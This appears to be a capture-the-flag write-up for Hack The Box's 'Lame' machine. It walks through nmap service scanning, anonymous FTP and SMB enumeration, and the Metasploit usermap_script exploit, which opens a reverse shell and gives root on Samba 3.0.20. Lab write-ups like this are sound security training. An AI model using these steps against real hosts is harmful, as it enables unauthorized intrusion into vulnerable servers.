Lame - Easy

Introduction@Lame:~$

Name	Lame
IP	10.10.10.3
Os	Linux
Points	20
Difficulty	Easy
Creator	ch4p
Release Date	15 / Mar / 2017

This is the first box in HTB and it was so easy. You can get root shell from vulnerable smb service.We don't need to escalate to get root shell.

Enumeration

Nmap

# Nmap 7.92 scan initiated Tue Dec 21 09:50:52 2021 as: nmap -sC -sV -oN nmap2.out 10.10.10.3
Nmap scan report for lame.htb (10.10.10.3)
Host is up (0.31s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.10.14.6
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   NetBIOS computer name: 
|   Domain name: hackthebox.gr
|   FQDN: lame.hackthebox.gr
|_  System time: 2021-12-20T22:30:54-05:00
|_clock-skew: mean: 2h39m30s, deviation: 3h32m10s, median: 9m28s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Dec 21 09:52:04 2021 -- 1 IP address (1 host up) scanned in 72.30 seconds

There is four port open and FTP can login with anonymous user.

FTP Anonymous

┌─[sheinn101@parrot]─[~/htb/lame]
└──╼ [??]$ ftp 10.10.10.3
Connected to 10.10.10.3.
220 (vsFTPd 2.3.4)
Name (10.10.10.3:sheinn101): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

But there is no interesting files.

SMB Enumeration

When we login with anonymous using smbclient, it will show us Samba 3.0.20-Debian

┌─[sheinn101@parrot]─[~/htb/lame]
└──╼ [??]$ smbclient -L 10.10.10.3
Enter WORKGROUP\sheinn101's password: 
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        tmp             Disk      oh noes!
        opt             Disk      
        IPC$            IPC       IPC Service (lame server (Samba 3.0.20-Debian))
        ADMIN$          IPC       IPC Service (lame server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        WORKGROUP            LAME
┌─[sheinn101@parrot]─[~/htb/lame]
└──╼ [??]$ 

Let's find exploit for that in metasploit

Getting Root by Metasploit

msf6 > search Samba 3.0.20

Matching Modules
================

   #  Name                                Disclosure Date  Rank       Check  Description
   -  ----                                ---------------  ----       -----  -----------
   0  exploit/multi/samba/usermap_script  2007-05-14       excellent  No     Samba "username map script" Command Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script

msf6 > 

msf6 exploit(multi/samba/usermap_script) > set rhosts 10.10.10.3
rhosts => 10.10.10.3
msf6 exploit(multi/samba/usermap_script) > set lhost tun0
lhost => tun0
msf6 exploit(multi/samba/usermap_script) > run

[*] Started reverse TCP handler on 10.10.14.6:4444 
[*] Command shell session 1 opened (10.10.14.6:4444 -> 10.10.10.3:32852) at 2021-12-21 13:27:48 +0630

id
uid=0(root) gid=0(root)
whoami
root

Now we get a shell as root.